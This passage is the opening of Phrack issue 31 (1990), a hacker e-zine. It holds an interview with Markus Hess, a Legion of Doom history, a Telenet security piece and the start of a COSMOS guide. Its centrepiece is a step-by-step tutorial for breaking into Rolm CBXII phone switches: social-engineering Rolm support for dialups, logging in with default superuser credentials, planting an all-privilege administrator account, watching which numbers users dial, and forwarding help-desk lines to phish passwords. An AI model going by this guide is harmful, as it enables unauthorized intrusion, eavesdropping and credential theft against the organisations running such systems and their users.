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==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #1 of 9
Issue XXXI Index
________________
P H R A C K 3 1
05/28\90
________________
Welcome to a new begining of Phrack Inc. Yes, Phrack is not dead.
On the contrary, Phrack will and can't ever die. Phrack is more than just
a technical newsletter that comes out every now and then, it's a symbol of our
hacking history. Whether, it's called Phrack or some other name, it will
always be published for the same reasons:
1. Inform it's readers of current events and other related items
of hacker interest.
2. Educate it's readers on all topics of shared common interests
that may benefit the hacker at his hobby.
3. Remain an authority in the hacking world and an observer in the
ever growing technical community.
4. Be open to anyone who wishes to submit an article for publication
that will further the hacker's education.
Many things have happened since the last publication of Phrack. We at
Phrack inc. will try to "shed some light" on the matters that have occured. And
as for all these ridiculous rumors that have been spreading, let us speak the
truth and be heard.
Hah. No my friends, Phrack is not dead..
--DH (Editor)
Note: If you wish to contact Phrack inc. to submit a file, ask around for
a Phrack inc. distribution site -- Then Email "Phrack inc." and be very very
patient.
Note: Special thanks to T C, Phz, and others for wide
area distribution.
_______________________________________________________________________________
Phrack XXXI Table of Contents
=============================
31-1. Introduction to Phrack 31 by DH (2K)
31-2. Phrack Pro-Phile of Markus Hess by PHz (6K)
31-3. Hacking Rolm's CBXII by DH (15K)
31-4. TAMS & Telenet Security by Phreak_Accident (7K)
31-5. The history of The Legion Of Doom (10K)
31-6. Cosmos Overview by EBA (52k)
31-7. Tymnet Security Memo by Anonymous (9K)
31-8. PWN/Part01 by Phreak_Accident (13K)
31-9. PWN/Part02 by Phreak_Accident (17K)
31-10. PWN/Part03 by Phreak_Accident (40K)
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #2 of 10
-*[ P H R A C K # 3 1 P R O P H I L E ]*-
-*[ June 1, 1990 ]*-
-*[Phz]*-
---[ Markus Hess ]---
Recently the Phrack editors had the opportunity to talk to Markus Hess in
his tiny Hannover flat. This special edition of the Phrack Prophile details
our conversation, as well as general background information about the German
Hacker.
This Phrack Prophile is not in the same format as previous ones because of
the nature of the profile. In the next issue, we will reform back to the
orginal creator's format.
AGE: 26
HEIGHT: 5' 10"
HAIR COLOR: BROWN
EYES: BROWN
FROM: Hannover, West Germany
PAST EMPLOYMENT: Software developer in Hannover.
PEOPLE: Stephen Winero, Walu Holland (Other CCC members)
STRENGTHS: AT&T Unix, VAX, SunOs and BSD os's
Hess, most well known as the hacker who's exploits are detailed in
Clifford Stoll's _The_Cuckoo's_Egg_, "is as paranoid on the telephone as he
is on the computer." Although he was very reluctant to talk to us, we did
manage to talk to him about hacking and _The_Cuckoo's_Egg_.
Ringing Hanover..
RING
RING
RING
ANSWERED
HESS: Hallo?
PHRACK: Is this Markus Hess?
HESS: Yes.
PHRACK: Do you smoke Benson & Hedges?
(At this point we weren't sure it was actually him)
HESS: Yes, who is this?
PHRACK: We are calling from the USA, we want to ask you some questions.
We talk to hackers in the USA.
HESS: I won't have anything to do with hackers anymore. I have talked in
court earlier this year.
PHRACK: Did you know you were in a novel about a hacker in the US?
HESS: Novel? Yes, I know of a novel.
PHRACK: Have you read the book?
HESS: Yes I have read the book.
PHRACK: Is it all true? Is it all true? Do you think Cliff lied or tried
to exaggerate in the book?
HESS: Yes, I think so.
HESS: Yes, He lied.
PHRACK: Have you ever talked to Stoll?
HESS: I have talked to him, but not privately. I don't want to talk about
this.
PHRACK: Have you ever seen Cliff Stoll?
HESS: Yes I have seen him.
(We might think this from the back of the book)
PHRACK: He's goofy looking isn't he?
HESS: goofy? I don't understand.
PHRACK: Anyway, so you think he lied in the book?
HESS: Yes, he lied.
PHRACK: What did he lie about?
HESS: I don't want to talk about this.
PHRACK: Okay, are you in the Chaos Computer Club?
HESS: No, I won't have anything to do with hackers any more.
PHRACK: Were you ever involved with them?
HESS: No. I was not in it.
PHRACK: Do you know anyone in it [the CCC]?
HESS: Yes. I really must go now.
PHRACK: Who do you know in it [the CCC]?
HESS: Stephen Winero.
PHRACK: Is that it?
HESS: I know Walu.
PHRACK: Hmm. Are you being watched?
HESS: I think so. I can not talk about this.
PHRACK: Were you scared of going to jail?
HESS: jail?
PHRACK: Prison, were you scared of going to prison?
HESS: I don't know.
PHRACK: What happened in your words at court?
HESS: In your words? I don't understand.
PHRACK: What happened in court?
HESS: I don't understand.
PHRACK: Forget it.
PHRACK: Do you still have your computer?
HESS: No. I don't have any computer here.
PHRACK: Did you think they were going to catch you?
HESS: No. I knew nothing of it.
PHRACK: Has any other hackers tried to contact you in the U.S.?
HESS: No. You are the first to call.
PHRACK: So is it my understanding that Stoll lied in parts of the book?
HESS: Lied? Yes he lied.
PHRACK: Why do you think he would lie?
HESS: I don't know.
PHRACK: Do you think he made you look destructive?
HESS: Yes. He made me look mean.
PHRACK: Are you? Mean that is?
(Chuckle)
HESS: No. He made me look like I was a criminal.
PHRACK: Why did you do it Markus?
HESS: Do what?
PHRACK: Hack all over the network like that?
HESS: I cannot answer.
PHRACK: Do they call you a liar in court?
HESS: Yes. They call me a liar.
PHRACK: What are you going to do now?
HESS: I don't understand.
PHRACK: Are you finished with hacking?
HESS: Yes, I have nothing to do with hackers.
PHRACK: Was someone helping you hack?
HESS: I cannot answer.
PHRACK: How come you cannot answer that question?
HESS: I cannot.
PHRACK: Yes, well, Many in the U.S. [hackers] don't like the Novel.
PHRACK: What do you think of it?
HESS: It is not true.
HESS: I don't know.
PHRACK: Who taught you the EMACS hole?
HESS: I cannot say.
PHRACK: Then you must have been working with someone, correct?
HESS: No, I cannot answer.
PHRACK: Is the police comming down on you hard?
HESS: police? I don't und...
PHRACK: Yeah, yeah. The law? Are they being hard on you.
HESS: Yes.
<SILENCE>
HESS: I must go now.
PHRACK: Can we call you later?
HESS: Umm, I don't know. No.
PHRACK: Why not?
HESS: I cannot answer.
PHRACK: What about in a couple of months?
HESS: Yes, in a couple of months you can call.
PHRACK: Your not moving are you?
(Knowing that Germans rarely ever move and their phone
numbers never change this was a silly Q.)
HESS: No. I no move.
PHRACK: Okay, then we'll call you in a couple of months.
HESS: Okay. I must go.
PHRACK: Wait a second.
HESS: Yes?
PHRACK: Do you have anything to say to American Hackers?
HESS: No.
HESS: I have nothing to do with hackers.
PHRACK: Well, good luck.
HESS: Yes, you too.
<CLICK>
Unfortunately, our lack of German and Hess' weak English made
communication difficult. He is a very paranoid person who was obviously
uncomfortable talking to us.
Those of you that have read Stoll's book know that Hess was involved
with hacks on American Military Computers, and indirectly involved with
Computer Espionage and the KGB. Phrack strongly discourages trying to
hack Military computers and particularly takes offense to computer
espionage.
From the information we have gathered from him and by talking to him,
we feel that Markus Hess wasn't as smart as Clifford Stoll portrayed him to be.
We also feel that Markus was not working alone and that others were involved.
This however we cannot be 100% sure because of our communication faults.
_______________________________________________________________________________
===Phrack Inc.===
Volume Three, Issue Thirty-one, Phile #3 of 10
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
/ * * \
\ /
/ Hacking Rolm's CBXII/9000 \
\ by DH /
/ 05/24/90 \
\ * * /
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Introduction
------------
IBM Rolm's CBXII/9000 is a very powerful machine. Powerful in the aspect
that one has the switch(s) at his control. Controling switches means you can
control the entire PBX environment (And it's users).
This file will not get technical. Basically, I'm writing this file on
the HOW-TO's of the internal works of CBXII and the basics of obtaining the
dialups and account information need to access the machines. For further
information on CBX's in general, read Epsilon's Phrack Phile on them, or
consult Evil Jay's phile on OSL's.
Obtaining Dialups
--------- -------
Obtaining dialups unfortunately is the hardest part of hacking CBXII's.
(Yes, even harder than hacking them). There are several ways to obtain the
dialups. I would say a good bit of CBX's are at universities and hospitals
where they own their own switches. Most of the time you can determine if they
have one by calling the Telecommunications Department of the target location.
Or, another way is to check with ROLM. If you *KNOW* that a target location
has a CBXxx machine, you can call ROLM's 800 wats line and say your with the
Telecommunications Department and your looking for the DIALUP. Rolm has files
on all their CBXxx's and the Dialups also. They might ask you for a NODE #
for the dialup, and you should usually respond with what node you want (Since
different nodes handle different areas of the PBX). Basically, nodes start at
ONE and usually goto THREE or FOUR, depending on the size of the PBX.
CBXxx's are greatly compatible of IBM Rolm's Phone-Mail system (Which
is a highly used and common voice mail system). This of course doesn't mean
that every PHM (Phone-Mail) system has a CBXxx attached. But it is generally
a good start.
The following is a checklist to determine if the target location could
have a CBXxx for controlling their switch. By no means however, if your target
location has all of the following it could have a CBXxx.
1) Does the location handle it's own switch?
If so, what kind, and who services it.
2) Does IBM Rolm handle any aspect of their telecommunications
department?
If so, this is a possible CBXxx location.
3) Does the location have Rolm Phone-Mail?
These three guidelines are not requirements. I.E. -- The location
could have a non-IBM PBX but still have a CBXxx for handling the switch.
So who knows.. It's up to you and your bullshitting and scans.
Hacking the CBXxx's
------- --- -------
Well, once you have obtained the dial-ups, you are almost halfway
there. Hacking the CBX is the easy part. 1st off, IBM Rolm ships *ALL*
of their machines with a default account (Yes, and they never change it).
When the destination of the CBX recieves the machine, they use the default
to create other accounts for employees, PBX operators, and administration.
Rolm IBM also has a field support account embedded in the machine. These
are different to each location and correspond to the serial number of the
machine (Rolm's accounts can be obtained from Rolm's 800 technical support
line). So, now that we know that there is a default account that telecom
department uses to setup the other accounts after they recieve the machine,
tells us that this is a priviledge account. And it is.
USERNAME: SU
PASSWORD: SUPER
How nice for them to give us such power. Yes, it's a basic default
with SuperUser priviledge. If for some reason the account default has been
changed, their are other ways of getting in:
1) Call Rolm and get the Field account information.
2) Try first names of Telecom Dept. employees, and PBX Operators.
3) Use every Hacking skills you have (If any).
Some older versions of CBX don't even require logging in with an
account. Those versions are less responsive to the administrators needs,
but can be useful to one also. Don't be discouraged if the SU password is
changed, just call Rolm and get the field account.
The following is the matrix before one access the machine. *Note that
it clearly identifies* *Also: Accessible at 300 baud and e,7,1*
CONNECT ID banner
_Release version # /
/ /\
Rolm CBXII RELEASE 9004.0.65 RB74UCLA11956
BIND DATE: 8/SEP/88 \
YOU HAVE ENTERED NODE 1, CPU 2 \_Name of owner, IE: UCLA
11:14:30 ON FRIDAY 2/11/1990 (System ID)
USERNAME: xxx
PASSWORD: xxx
INVALID USERNAME-PASSWORD PAIR.
Once your in
---- ---- --
Once your in, you should have no problems wondering around the
machine and using the utilities in the machine's operating system. There is
very specific help functions inside the machine that will guide you through
with no problems. At the CBX prompt:
%. HELP ?
or
%. ?
Should produce a valid listing of options and sub-functions. Every
function can be followed with a '?' to give lists of valid sub-functions under
that function or how the syntax of that function should be used.
The following is a listing of commands for CBXII/9000:
ABORT ACTIVATE ATTR BYE
CANCEL CARD CDRSM CDT
CHANGE CHG CLEAR CLR
CMPCT CMSTS CNCL CNFG
CONVERT COPY CPEG CTMON
CTRA CTRTL CXCLR COPY
CXCLR CXCON CXNET DACK
DADD DAEVT DANS DBDMP
DCAT DCF DCOM DDMA
DDQ DDT DE DEACTIVATE
DEFINE DELETE DEMOUNT DESUM
DEX DFACK DFCOM DFEAT
DFEVT DHTQ DHWS DIAG
DIQ DISABLE DIWQ DKQ
DML DMNT DMS DMTST
DOWN DPATR DPMR DPMS
DPPRI DPTR DQQ DRCT
DREGS DSBLE DSQ DSST
DSTAK DTCB DTDQ DWQ
DX_TR ENABLE ENB ENBLE
ETIO EX EXM EXN
EXP EXPAND FINIT FORMAT
FREER FSD GTOD HDBST
HELP INSTALL KPFA LCT
LIST LOAD LOGOFF LOGON
LPEG LPKT LSCT LSL
LST LTCB MNT MONITOR
MOUNT MTRACE NEXT NSTAT
PAGE PCNFG PDIO PFA
PKTS PLIST PLTT PPFA
PS PSH QAT QITM
QTEST RCT RECEIVE RENAME
REPLY RESTART RESTORE REVERSE
RM RMOFF RPFA RSC
RSCLK RSTOR RSTRT SAT
SCAN SEND SET SHOW
SITM SOCON SOUNC SSAT
START STATE STATUS STEST
STOD STOP STRT STS
TDCD TEST TKSTS TRTL
TST TX UNLK UNLOCK
UP VERIFY XDEF XMIT
XPND
These commands can be executed from and '% ' prompt. If the command is
followed by a '?', more information will be supplied about the command.
Using the ICI
----- --- ---
The Interactive Configuration Interface controls immediate changes in
the switch and PBX environment. The Utility is explained in great detail
through the actual running of it. You can access the ICI by typing:
% CNFG
CBXII/9000
INTERACTIVE CONFIGURATION INTERFACE
CPU 2
15:14:32 ON FRIDAY 5/02/1990
COMMAND:
This is the main command prompt. From here you can exercise the '?'
help list to get valid commands. There are four phases of the ICI utility:
Modify, Create, List, and Delete. These can be used on Extentions, Trunks,
Logon accounts, Feature Group sequences, Data_line access, Trunk Groups, ect.
The following is a sample of using 'list' to list a current extention in the
PBX:
_Forward to EXTN 2000
COMMAND: LIST EXT 4038 / _Outside number
/ FORWARD ON / to forward to
FORWARDING BSY RNA DND /
EXTN TYPE COS TARGET1 TARGET2 I E I E I E RINGDOWN NAME
---- ---- --- ------- ------- - - - - - - -------- ----------
DS 4038 EXTN 56 2000 1 1 1 1 1 1 95551212 R.STABELL
\ \ \ / / \ \
Extention / -Class of service if R Auto. Forward Owner of
--Type of line BUSY I No Matter What EXTN.
(Reg. Extention) N
G
Note: The 1's specifies to forward to target#1 & NO ANSWER
(As 2's would mean forward to #2 target)
This should detail how to modify a listing like above using the 'MODIFY'
command in the ICI. Once modified, all transactions are processed immediately.
Using the 'Delete' command one can delete extentions, trunks, ect.
So now we have the following commands in ICI: MODIFY, DELETE, LIST, CREATE.
Each can be used with the following "Nouns" to modify that "Noun":
BUTTON_120 BUTTON_240 CDR_EXCLUDE CNFG_ERRORS
CNFG_QUEUE CNFG_STATUS CNFG_USERS COM_GROUP
COS_FEAT DATA_ACCESS DATA_DEVICE DATA_GROUP
DATA_LINE DATA_SUBMUX DLI ETS
EXTEN FAC FAC_TYPE FAMILY
FEAT_CODE FIRST_DIGIT HD_GROUP LEX
LOGON_PROFILE MAP MEM_PARTS PARAM
PICK POWER Q_TYPE ROUTE_LIST
RP RPD RPI RPS_120S_ON
RPS_240S_ON SAT_NAME SEARCH_SEQ SECTION
SECURITY_GROUP SERVICE_LIST SIO_PARTS SLI
SPEED T1D3 T1D3_GRP TRUNK
TRUNK_GROUP VPC
The FAMILY, LOGON_PROFILE, and CNFG_USER all deal with the accounts on
the system. One can use MODFIY or CREATE to set them up an account with SU
access. The FAMILY noun is the listing of the groups with different access,
to different "nouns" available. I.E.: Not everyone can access the CHANGE
LOGON_PROFILE to create an account.
To create an account with SU access, type (while in ICI):
% CREATE LOGON_PROFILE
ENTER NAME (1-12 CHAR): TEST
ENTER PASSWORD: TEST
RETYPE: TEST
Next it will ask you for a family. For SU access, type "SYSTEM_ADMIN".
After family, the machine should prompt you for a "verb". Verbs are the actual
functions or commands, so in this environment you can set the commands a user
can access. So, for SU, enter "ALL" for every command access.
To get a valid listing of users online, try this:
% LIST CNFG_USERS
NUMBER OF USERS MAX NUMBER OF USERS
3 5
PORT USER_NAME START_TIME HOW_LONG
17 SU 17:47:57 0:28:34
2 FIELD 18:16:03 0:0:28
3 MARYB 18:16:03 0:10:03
Using the Monitoring Utility
----- --- ---------- -------
This command is one of the more powerful commands in the CBXxx system.
The monitor command should be invoked from within the main function command
level and not in the ICI level. The monitoring command allows you to actually
watch or monitor TRUNKS and EXTENTIONS. So, if I were to type:
% MONITOR EXT 4038
10:02:43 ON FRIDAY MAY/02/1990
EXT# STATE DI CODE DIGITS PROCESS STATUS
---- --------------- -- ---- ------------- ------------ ------
4038 IDLE STN FWD NUM FWD
\ \ / / / \
Extention Not in use Standard \ / Forwarded
Extention \ /
Forwarded to
a number
This shows the extention to be IDLE and not in use. But, with forwarded
call processes to a standard number. You would have to use ICI to look up the
number it's forwarded to if you wanted.
% MONITOR EXT 4038
10:03:44 ON FRIDAY MAY/11/1990
EXT# STATE DI CODE DIGITS PROCESS STATUS
---- -------------- -- ---- ------------- ----------- ------
4038 DIAL TONE STN FWD NUM FWD
4038 DIALING Y 9 / \ \ \
4038 DIALING Y 92 S F N \Extention
4038 DIALING Y 923 t o u Forwarded
4038 DIALING Y 9233 a N r m
4038 DIALING Y 92334 n u w b
4038 DIALING Y 923345 d m a e
4038 DIALING Y 9233456 a b r r
4038 DIALING Y 92334564 r e d
4038 CONN T025N N \ d r e
/ \ / \ d
\ \ \_Dialing NO \_Number dialed
\_Extention \
Connected to
Outside trunk T025N
This monitoring shows the extention actually dialing the number, and then
connecting to an outside truck. Unfortunatley, one we cannot monitor without
access to a bell switch.
Monitoring can also be done with trunks. I will not display any trunk
monitoring since it is quite simple to decypher.
Manipulating the switch
------------ --- ------
There are many ways you can manipulate the CBX's to gain accounting
information on data lines within the PBX environment. One sure-fire method
would be to forward an actual data dial-up extention to a bridge or loop and
then write an emulation to intercept the user's account information real-time
as they connect to your fake dial-up.
Or perhaps if an university uses the CBX, one could maybe forward the
computer help desk extention to a bridge or loop and as an unsuspecting user
calls up, ask him what machine and account info he has access to for a help
log sheet you are taking.
Who cares. Who knows. There are thousands of things you can do to use
the CBX to your advantage. Hell, you have the whole switch at your command.
DH - 05/11/90
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #4 of 10
/ Everything you always wanted to know.. \
/ about Telenet Security, But were to stupid to find out. \
By Phreak_Accident
Ever since the early 80's GTE Telenet has been expanding their public
packet switching system to hold enormous amounts of users. Currently GTE
SprintNet (Yes, Telenet is out, SprintNet is in.) has over 300 nodes in the
United States and over 70 other nodes abroad. SprintNet provides private
X.25 networks for larger companies that may have the need. These private
networks are all based on SprintNet's 3270 Dedicated Access Facility which
is currently operating for public use, Hence for the major security Sprint-
Net has aquired.
SprintNet's security department is a common idea of what any large
public packet network should be. With their home office located in Virgina
(703), most Hacker's who run into trouble with them would wind up talking
to Steve Mathews (Not the head of security but a prime force against the
major attacks Sprintnet recieves from Hackers anually.), who is a very
intelligable security analysist that deals with this type of problem daily.
Because of Steve's awarness on Hackers invading "His" system (As most
security personnel refer to the system's they work for as their own.), He
often does log into Bulletin Boards accross the country looking for Sprint-
Net related contraband. At the time of this article, Steve is running an
investigation on "Dr. Dissector's" NUAA program. (NUA attacker is a Sprint-
Net NUA scanner.) Besides this investigation, he currently stays in contact
with many Hackers in the United States and Abroad. It seems Steve recieves
many calls a month from selected Hackers that have interests in the Security
of SprintNet. Wow. Who the Hell would want to call this guy. From many
observations of Steve Mathews, I find him to in deed be the type to feel a
bit scared of Hackers. Of course, his fright is really quite common amoung
security personnel since most fear for their systems as well as themselves.
(Past experiences have showed them not to take Hackers lightly, Hence they
have more contacts then 60 rolodex's put together.)
For now, let's forget Steve Mathews. He's not important an important
influence in this article. Trying to pin a one-person in a security depart-
ment that handles security is like finding a someone on a pirate board that
doesn't use the word "C0DE" in their daily vocabulary.
Telenet's main form of security lies in their security software called
TAMS (Telenet Access Manager System). The TAMS computers are located in Res-
tin, Virginia but are accessable throughout the network. Mostly, the main
functions of TAMS are to:
* Check to see if the NUI/Password entered is a valid one.
* Check to see if the Host has list of NUI's that can access
that host. If another NUI is used, a Rejection occurs.
* Processes SprintNet's CDR (Call Detail Recording), which
includes Source and Destination, Time of call, Volumes
of data recieved, and the Total time of the call.
* Can be used by host to add an optional "ALPHA" NUA for "easy"
access.
* Can secure Hosts further by adding an NUA security password.
* Restricts calls without an NUI for billing (I.E. No collect
calls to be processed).
* Accepts all calls to host as a prepaid call (I.E. Accepts all
calls).
TAMS is really for the handling of NUI and corresponding NUA's, therefore
being a security concept. TAMS holds all the data of NUI's and restricting NUAS
for the ENTIRE network. If one could gain the access to TAMS, one could have
the entire network at his/her disposal. This of course if highly impossible
to SprintNet's security department, but not for a couple of hackers I have ran
into. Yes, TAMS is quite interesting.
In other aspects of SprintNet security, lets focus on the actual X.25
software that they use. Anybody who tells you that Telenet can monitor the
sessions currently taking place on THEIR network is WRONG (And probably very
stupid as well). Monitoring is a basic feature of all X.25 networks, whether
it's a little PeeShooter network or not, they can and do monitor sessions.
Of course their are far to many calls being placed on SprintNet to be
monitored, but a scared host can always request a full CDR to be put on their
address to record all sessions comming in on that NUA. Such as the many re-
corded sessions of the ALTOS chat(s) in Germany that was a hot-spot for many
Hackers across the United States and Abroad. After the detection of ALTOS,
through the hundereds of illegally used NUIs, CDR's and direct host monitoring
were used on the ALTOS hosts. As far as prosecutions concern, I doubt their
were any.
Now, as far as other security software on SprintNet, they have a call
tracking service that is called AUTOTRAIL. Basically, AUTOTRAIL traces the
connections through the DNIC's and back to the orginating NUI and/or NODE loca-
tion that placed the call.
AUTOTRAIL has nothing to do with ANI. Not at all. In fact, the many
dialups that lead into SprintNet's PDM gateway do NOT have any type of ANI.
That is basically a telephony problem. ALthough I would think twice about
messing with a dialup that is run on a GTE carrier. That's up to you though.
Another aspect of security in which Telenet offers is an ASCII tape
that can be obtained by a host customer, which contains all CDR information of
any connection to that host for the last week/month/year. So, it is obvious
to say that SprintNet does have a hudge database of all CDRs. Yes, another
point: This database is located in the TAMS computer. Hmm, ahh.. Wouldn't
that be neat.
:PA
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #5 of 10
The History of The Legion Of Doom
--- ------- -- --- ------ -- ----
During the summer of 1984 an idea was formulated that would ultimately
change the face of the computer underground forever. This particular
summer, a huge surge of interest in computer telecommunications placed
an incredibly large number of new enthusiasts on the national computer scene.
This crowd of people all seeking to learn as much as possible
began to put a strain on the nation's bulletin board scene, as the novices
stormed the phonelines in search of knowledge. From out of this chaos
came a need for learned instructors to help pass on their store of
information to the new throngs.
One of the most popular bulletin boards of the day was a system in New York
state called Plovernet, which was run by a person who called himself
Quasi-Moto. This BBS was so heavily trafficked, that a major long
distance company began blocking all calls to its number (516-935-2481).
The co-sysop of Plovernet was a person known as Lex Luthor. At the time
there were a few hacking groups in existence, such as Fargo-4A and Knights of
Shadow. Lex was admitted into KOS in early 1984, but after making a few
suggestions about new members, and having them rejected, Lex decided to
put up an invitation only BBS and to start forming a new group.
Starting around May of 1984, Lex began to contact those people who he had
seen on BBSes such as Plovernet and the people that he knew personally
who possessed the kind of superior knowledge that the group he envisioned
should have. Many phone calls and Alliance Teleconferences later, the
group of individuals who made up the original Legion of Doom were compiled.
They were:
Lex Luthor
Karl Marx
Mark Tabas
Agrajag the Prolonged
King Blotto
Blue Archer
EBA
The Dragyn
Unknown Soldier
The group originally consisted of two parts: Legion of Doom, and Legion
of Hackers. The latter was a sub-group of the first, comprised
of people who were more advanced in computer related subjects. Later on,
as members began to all become more computer-based, the Legion of Hackers
was absolved. (The name "Legion of Doom" came from the cartoon series
"Superfriends," in which Lex Luthor, Superman's arch rival, led a group
by the same name)
The actual Legion of Doom bulletin board was quite ahead of its time.
It was one of the first "Invitation-only" hacking based BBSes; it was the
first BBS with security that caused the system to remain idle until
a primary password was entered; and it was the first hacking BBS to deal
with many subjects in close detail, such as trashing and social
engineering. The BBS underwent three number changes and three different
login procedures during its life. At its height, the BBS had over
150 users and averaged about 15 posts per day. This may seem
high when compared to contemporary BBSes, but this was a private system,
with only very-competent users, so the quality of messages content was always
high.
There was always some confusion that falsely assumed since someone
was on the LOD BBS, that they were a member of the group. In fact,
only a handful of the total LOD membership were ever on the actual
LOD BBS.
The Legion of Doom also had special subboards created for its members on
other BBSes after the home base BBS went offline. The first was on
Blottoland, the next on Catch-22, followed by one on the Phoenix Project,
and the last on Black Ice Private. The group's members have usually tried to
keep a low profile publicly, and usually limited their trade of information
to select private BBSes and personal telephone conversations. This adherence
to privacy has always added to the LOD mistique. Since most people didn't
know exactly what the group was involved in, or experimenting with, people
always assumed that it was something far too detailed or sensitive to be
discussed. For the most part, this was not true, but it did not help to
diminish the paranoia of security personnel that LOD was after their
company's systems.
The group has undergone three distinct phases, each a result of membership
changes. The first phase ended with the busts of Marx, Tabas, Steve Dahl,
Randy Smith, X-man, and the abandonment by Agrajag and King Blotto.
The group lay semi-dormant for several months, until a resurgence
in the summer of 1986, in which several new members were admitted, and a new
surge of would-be hackers appeared, ready to be tutored. This phase again
ended in a series of busts and paranoia. The third phase basically revolved
around Summercon of 1988, where several new members were admitted by those
LOD members attending the festivites. The third phase is now at an end
brought on by busts and related paranoia, again, two years after its onset.
There is no indication that points to any resurgence in the future, but
nothing is certain until summer.
Since its creation, LOD has tried to put out informative files on a wide
variety of topics of interest to its contemporaries. These files ranged from
the first actual scanned directory of Telenet, to files on various operating
systems. The LOD Technical Journal was to be a semi-regular electronic
magazine comprised of such files, and other items of interest to the hacking
community. Only three issues of the Technical Journal were produced. As
the fourth issue was being pieced together, several members were raided, and
work on it was abandoned.
>From the time it was formed continuing up to the present, the Legion of
Doom has been quite a topic of controversy in the computer underground and
with computer security professionals. The Legion of Doom has been
called everything from "Organized Crime" to "a Communist threat to national
security" to "an international conspiracy of computer terrorists bent
on destroying the nation's 911 service." Nothing comes closer to the
actual truth than "bored adolescents with too much spare time."
LOD members may have entered into systems numbering in the tens of
thousands, they may have peeped into credit histories, they may
have monitored telephone calls, they may have snooped into files and
buffered interesting text, they may still have total control over
entire computer networks; but, what damage have they done? None, with
the exception of unpaid use of CPU time and network access charges. What
personal gains have any members made? None, with the exception of three
instances of credit fraud that were instigated by three separate greedy
individuals, without group knowledge.
The Legion of Doom will long be remembered in the computer underground as
an innovative and pioneering force, that consistently raised the collective
level of knowledge, and provided many answers to questions ranging from the
workings of the telephone system to the structure of computer operating
systems. No other group dedicated to the persuit of computer and
telecommunications knowledge has survived longer, and none probably will.
The Legion of Doom 1984--1990
------------------------------------------------------------------------------
Alumni of the Fraternal Order of the Legion of Doom (Lambda Omega Delta)
Handle Entered Exited Location Reasons for leaving
------------------------------------------------------------------------------
Lex Luthor Early 84-- Florida
Karl Marx Early 84--Late 85 Colorado Bust w/Tabas..College
Mark Tabas Early 84--Late 85 Colorado Too numerous to list
Agrajag the Prolonged Early-84--Late 85 California Loss of Interest
King Blotto Early 84--Late 85 Ohio College
Blue Archer Early 84--Late 87 Texas College
EBA Early 84-- Texas
The Dragyn Early 84--Late 86 Minnesota Loss of Interest
Unknown Soldier Early 84--Early 85 Florida Bust-Toll Fraud
Sharp Razor Late 84--Early 86 New Jersey Bust-Compuserve Abuse
Sir Francis Drake Late 84--Early 86 California Loss of Interest
Paul Muad'dib Late 84--Early 86 New York Modem Broke
Phucked Agent 04 Late 84--Late 87 California College
X-Man Late 84--Mid 85 New York Bust-Blue Boxing
Randy Smith Late 84--Mid 85 Missouri Bust-Credit Fraud
Steve Dahl Early 85--Early 86 Illinois Bust-Credit Fraud
The Warlock Early 85--Early 86 Florida Loss of Interest
Terminal Man Early 85--Late 85 Massachusetts Expelled from Group
Dr. Who Early 85--Late 89 Massachusetts Several Reasons
The Videosmith Early 86--Late 87 Pennsylvania Paranoia
Kerrang Kahn Early 86--Mid 89 London, UK Loss of Interest
Gary Seven Early 86--Mid 88 Florida Loss of Interest
The Marauder Early 86--Mid 89 Connecticut Loss of Interest
Silver Spy Late 86--Late 87 Massachusettts College
Bill from RNOC Early 87--Late 87 New York Bust-Hacking
The Leftist Mid 87--Late 89 Georgia Bust-Hacking
Phantom Phreaker Mid 87-- Illinois
Doom Prophet Mid 87-- Illinois
Jester Sluggo Mid 87-- North Dakota
Carrier Culprit Mid 87--Mid 88 Pennsylvania Loss of Interest
Master of Impact Mid 87--Mid 88 California Loss of Interest
Thomas Covenant Early 88--Early 90 New York Bust-Hacking
The Mentor Mid 88--Early 90 Texas Retired
Necron 99 Mid 88--Late 89 Georgia Bust-Hacking
Control C Mid 88--Early 90 Michigan
Prime Suspect Mid 88-- New York
The Prophet Mid 88--Late 89 Georgia Bust-Hacking
Phiber Optik Early 89--Early 90 New York Bust-Hacking
** AKA **
Randy Smith Poof!
Dr. Who Skinny Puppy
Kerrang Kahn Red Eye
Phantom Phreaker ANI Failure / Psychedelic Ranger
Doom Prophet Trouble Verify
Thomas Covenant Sigmund Fraud / Pumpkin Pete
Necron 99 The Urvile
Control C Phase Jitter
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue Thirty-one, Phile #6 of 10
L OO DD
L O O D D
LLL OO DD
PRESENTS
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*** T H H E ***
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*** DD EEE FFF III N N III TTT III V V EEE ***
*** D D E F I NN N I T I V V E ***
*** D D EEE FFF I N NN I T I V V EEE ***
*** D D E F I N NN I T I V V E ***
*** DD EEE F III N N III T III V EEE ***
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*** CCCC OOO SS M M OOO SS ***
*** C O O S S MM MM O O S S ***
*** C O O S M M M O O S ***
*** C O O S S M M M O O S S ***
*** CCCC OOO SS M M OOO SS ***
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BY
ERIK BLOODAXE
PRELUDE
In the past, many files have been written about COSMOS. I
have always been rather disappointed in their quality and in
their presentation, so I have taken on the responsibility of
doing one myself. This should sum up COSMOS for everyone who
reads it. It contains formats for very useful commands, an
entire transaction list, COSMOS "tricks", and a list of all COSMOS
abbreviations and their formats.
=============================================================================
INTRODUCTION
Bell Labs COmputer System for Mainframe OperationS (COSMOS)
is basically just a database for maintaining records of
equipment and other line information and generating reports
on that information. The system is usually set up on a DEC
PDP 11/45 or 11/70.
The main responsibilities of the COSMOS system are:
Maintaining records
Issuing reports
Processing service and work orders
Assigning telephone numbers
Load balancing for switching computers
Output of ESS recent change information
LOGGING ON
When connecting to COSMOS the system will respond with:
;Login: or LOGIN:
at which point you enter a username. The system will then
prompt:
PASSWORD:
at which point you enter the password for that username.
Finally, the system will prompt:
WC?
which asks you to enter the wire center for the exchange you
will be using in your work. After successfully completing
the login sequence you will be given the system prompt which
will be the two letter id of the wire center you entered and a
percent sign: "WC% "
To log off at this or at any point you can type control-y.
One of the major flaws in COSMOS security is that unless a
control-y is received the terminal is not logged out, even if
the user disconnects. Many times when you connect to COSMOS,
you will be dropped right into the "WC% " prompt. This even
happens on major BOC packet networks quite often. If you are
lucky enough to receive a 'WC#' prompt you have access to the
COSNIX shell, and can issue various unix-like commands, like
